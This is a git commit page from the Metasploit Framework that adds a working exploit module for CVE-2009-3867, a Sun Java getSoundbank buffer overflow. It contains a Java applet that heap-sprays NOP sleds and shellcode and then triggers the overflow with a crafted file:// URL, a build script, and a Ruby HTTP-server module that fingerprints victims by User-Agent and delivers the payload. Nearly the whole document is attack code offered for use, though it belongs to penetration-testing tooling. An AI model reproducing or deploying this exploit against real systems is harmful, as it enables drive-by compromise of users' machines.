add exploit module for CVE-2009-3867 (JRE getSoundbank)
git-svn-id: file:///home/svn/framework3/trunk@7827 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake
parent
740fd67b74
commit
34408c5e3e
Binary file not shown.
|
|
@ -0,0 +1,142 @@
|
|||
|
||||
import javax.sound.midi.*;
|
||||
import java.io.*;
|
||||
import java.nio.*;
|
||||
import java.net.*;
|
||||
|
||||
/*
|
||||
*
|
||||
* comments from KF on Mac OS X:
|
||||
*
|
||||
Spray heap
|
||||
|
||||
Invalid memory access of location 0000000f eip=90909090
|
||||
|
||||
Program received signal EXC_BAD_ACCESS, Could not access memory.
|
||||
Reason: KERN_PROTECTION_FAILURE at address: 0x0000000f
|
||||
[Switching to process 385 thread 0x15107]
|
||||
0x90909090 in _NSReadAttributedStringFromURLOrData ()
|
||||
(gdb) bt
|
||||
#0 0x90909090 in _NSReadAttributedStringFromURLOrData ()
|
||||
#1 0x255a255a in ?? ()
|
||||
*
|
||||
*/
|
||||
|
||||
public class AppletX extends java.applet.Applet
|
||||
{
|
||||
private IntBuffer [] mem;
|
||||
|
||||
public void init()
|
||||
{
|
||||
String fName = "";
|
||||
|
||||
fName = repeat('/', 303);
|
||||
|
||||
// detect OS
|
||||
String os = System.getProperty("os.name").toLowerCase();
|
||||
if (os.indexOf( "win" ) >= 0)
|
||||
fName = repeat('/', 302); // 1.6.0_u16,u11
|
||||
// fName = repeat('/', 304); // 1.5.0_u21 (problems lurking)
|
||||
else if (os.indexOf( "mac" ) >= 0)
|
||||
//fName = repeat('/',1118); // OSX Snow Leopard
|
||||
fName = repeat('/',1080); // OSX Leopard
|
||||
else if (os.indexOf( "nix") >=0 || os.indexOf( "nux") >=0)
|
||||
fName = repeat('/', 1337); // not tested
|
||||
else
|
||||
// not supported
|
||||
return;
|
||||
|
||||
// heap sprayed info starts at 0x25580000+12 but we need to be fairly ascii safe. 0x80 will not fly
|
||||
// fName = "file://" + fName + "$\"$\"$\"$\"$\"$\""; // 1.5.x
|
||||
fName = "file://" + fName + "Z%Z%Z%Z%Z%Z%";
|
||||
|
||||
// trigger vuln
|
||||
try
|
||||
{
|
||||
mem = spray(getParameter("sc"), getParameter("np"));
|
||||
// System.out.println("Sprayed!");
|
||||
|
||||
MidiSystem.getSoundbank(new URL(fName));
|
||||
|
||||
// just in case, thread doesn't typically return from above :)
|
||||
while (true)
|
||||
{
|
||||
Thread.sleep(10);
|
||||
}
|
||||
}
|
||||
catch(Exception e)
|
||||
{
|
||||
System.out.println(e);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static String repeat(char c,int i)
|
||||
{
|
||||
String tst = "";
|
||||
|
||||
for (int j = 0; j < i; j++)
|
||||
{
|
||||
tst = tst+c;
|
||||
}
|
||||
return tst;
|
||||
}
|
||||
|
||||
|
||||
// based on:
|
||||
// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
|
||||
public static short[] HexDecode(String s)
|
||||
{
|
||||
short[] data = new short[s.length()/2];
|
||||
|
||||
for (int i = 0; i < s.length(); i += 2)
|
||||
{
|
||||
char c1 = s.charAt(i);
|
||||
char c2 = s.charAt(i + 1);
|
||||
|
||||
int comb = Character.digit(c1, 16) & 0xff;
|
||||
comb <<= 4;
|
||||
comb += Character.digit(c2, 16) & 0xff;
|
||||
data[i/2] = (short)comb;
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
public final IntBuffer [] spray(String sc, String np)
|
||||
{
|
||||
short [] sc_bytes = HexDecode(sc);
|
||||
short [] np_bytes = HexDecode(np);
|
||||
|
||||
return spray (sc_bytes, np_bytes);
|
||||
}
|
||||
|
||||
public final IntBuffer [] spray(short[] sc, short[] np)
|
||||
{
|
||||
int cnt = 50; // total 50 mb
|
||||
int sz = 1024*1024; // 1 mb
|
||||
int nops = (sz / 4) - (sc.length);
|
||||
|
||||
IntBuffer [] ret = new IntBuffer[cnt];
|
||||
|
||||
for (int bi = 0; bi < cnt; bi++)
|
||||
{
|
||||
IntBuffer ib = IntBuffer.allocate(sz / 4);
|
||||
|
||||
for (int i = 0; i < nops; ++i)
|
||||
ib.put((np[0]
|
||||
| (np[1] << 8)
|
||||
| (np[2] << 16)
|
||||
| (np[3] << 24)));
|
||||
// ib.put(0x90909090);
|
||||
|
||||
for (int i = 0; i < sc.length; )
|
||||
ib.put((sc[i++]
|
||||
| (sc[i++] << 8)
|
||||
| (sc[i++] << 16)
|
||||
| (sc[i++] << 24)));
|
||||
ret[bi] = ib;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
#!/bin/sh
|
||||
|
||||
javac AppletX.java
|
||||
|
||||
jar cvf CVE-2009-3867.jar AppletX.class
|
||||
rm -f AppletX.class
|
||||
|
||||
mv CVE-2009-3867.jar ../../../../data/exploits/CVE-2009-3867.jar
|
||||
|
|
@ -0,0 +1,218 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
#
|
||||
# This module acts as an HTTP server
|
||||
#
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sun Java JRE getSoundbank file:// URI Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a flaw in the getSoundbank function in the Sun JVM.
|
||||
|
||||
The payload is serialized and passed to the applet via PARAM tags. It must be
|
||||
a native payload.
|
||||
|
||||
The effected Java versions are JDK and JRE 6 Update 16 and earlier,
|
||||
JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and
|
||||
earlier, and SDK and JRE 1.3.1_26 and earlier.
|
||||
|
||||
NOTE: Although all of the above versions are reportedly vulnerable, only
|
||||
1.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'kf', # Original PoC/exploit
|
||||
'jduck' # metasploit version
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2009-3867' ],
|
||||
[ 'OSVDB', '59711' ],
|
||||
[ 'BID', '36881' ],
|
||||
[ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-09-076/' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'J2SE 1.6_16 Automatic',
|
||||
{
|
||||
'Platform' => ['win', 'linux', 'osx'],
|
||||
'Arch' => [ARCH_X86, ARCH_PPC]
|
||||
}
|
||||
],
|
||||
[ 'J2SE 1.6_16 on Windows x86',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'J2SE 1.6_16 on Mac OS X PPC',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_PPC,
|
||||
}
|
||||
],
|
||||
[ 'J2SE 1.6_16 on Mac OS X x86',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 04 2009'
|
||||
))
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, req)
|
||||
|
||||
# Create a cached mapping between IP and detected target
|
||||
@targetcache ||= {}
|
||||
@targetcache[cli.peerhost] ||= {}
|
||||
@targetcache[cli.peerhost][:update] = Time.now.to_i
|
||||
|
||||
if (target.name =~ /Automatic/)
|
||||
case req.headers['User-Agent']
|
||||
when /Windows/i
|
||||
print_status("Choosing a Windows target for #{cli.peerhost}:#{cli.peerport}...")
|
||||
@targetcache[cli.peerhost][:target] = self.targets[1]
|
||||
when /PPC Mac OS X/i
|
||||
print_status("Choosing a Mac OS X PPC target for #{cli.peerhost}:#{cli.peerport}...")
|
||||
@targetcache[cli.peerhost][:target] = self.targets[2]
|
||||
when /Intel Mac OS X/i
|
||||
print_status("Choosing a Mac OS X x86 target for #{cli.peerhost}:#{cli.peerport}...")
|
||||
@targetcache[cli.peerhost][:target] = self.targets[3]
|
||||
else
|
||||
print_status("Unknown target for: #{req.headers['User-Agent']}")
|
||||
end
|
||||
end
|
||||
|
||||
# Clean the cache
|
||||
rmq = []
|
||||
@targetcache.each_key do |addr|
|
||||
if (Time.now.to_i > @targetcache[addr][:update]+60)
|
||||
rmq.push addr
|
||||
end
|
||||
end
|
||||
|
||||
rmq.each {|addr| @targetcache.delete(addr) }
|
||||
|
||||
|
||||
# Request processing
|
||||
if (not req.uri.match(/\.jar$/i))
|
||||
|
||||
# Redirect to the base directory so the applet code loads...
|
||||
if (not req.uri.match(/\/$/))
|
||||
print_status("Sending redirect so path ends with / ...")
|
||||
send_redirect(cli, get_resource() + '/', '')
|
||||
return
|
||||
end
|
||||
|
||||
# Display the applet loading HTML
|
||||
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response_html(cli, generate_html(payload.encoded),
|
||||
{
|
||||
'Content-Type' => 'text/html',
|
||||
'Pragma' => 'no-cache'
|
||||
})
|
||||
return
|
||||
end
|
||||
|
||||
# Send the actual applet over
|
||||
print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response(cli, generate_applet(cli, req),
|
||||
{
|
||||
'Content-Type' => 'application/octet-stream',
|
||||
'Pragma' => 'no-cache'
|
||||
})
|
||||
|
||||
# Handle the payload
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
|
||||
def generate_html(pl)
|
||||
|
||||
html = %Q|<html>
|
||||
<head>
|
||||
<!-- <meta http-equiv=refresh content=10 /> -->
|
||||
</head>
|
||||
<body>
|
||||
<applet width='100%' height='100%' code='AppletX' archive='CVE-2009-3867.jar'5>
|
||||
<param name='sc' value='SCODE' />
|
||||
<param name='np' value='NOPS' />
|
||||
</applet>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
# ugh.. pain
|
||||
debug_payload = false
|
||||
pload = ""
|
||||
pload << "\xcc" if debug_payload
|
||||
pload << pl
|
||||
if ((pload.length % 4) > 0)
|
||||
pload << rand_text((4 - (pload.length % 4)))
|
||||
end
|
||||
if debug_payload
|
||||
print_status("pload #{pload.length} bytes:\n" + Rex::Text.to_hex_dump(pload))
|
||||
end
|
||||
html.gsub!(/SCODE/, Rex::Text.to_hex(pload, ''))
|
||||
|
||||
nops = "\x90\x90\x90\x90"
|
||||
html.gsub!(/NOPS/, Rex::Text.to_hex(nops, ''))
|
||||
#print_status("nops #{nops.length} bytes:\n" + Rex::Text.to_hex_dump(nops))
|
||||
|
||||
return html
|
||||
|
||||
end
|
||||
|
||||
|
||||
def generate_applet(cli, req)
|
||||
|
||||
this_target = nil
|
||||
if (target.name =~ /Automatic/)
|
||||
if (@targetcache[cli.peerhost][:target])
|
||||
this_target = @targetcache[cli.peerhost][:target]
|
||||
else
|
||||
return ''
|
||||
end
|
||||
else
|
||||
this_target = target
|
||||
end
|
||||
|
||||
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2009-3867.jar")
|
||||
|
||||
fd = File.open(path, "rb")
|
||||
data = fd.read
|
||||
fd.close
|
||||
|
||||
return data
|
||||
end
|
||||
|
||||
end
|
||||
Loading…
Reference in New Issue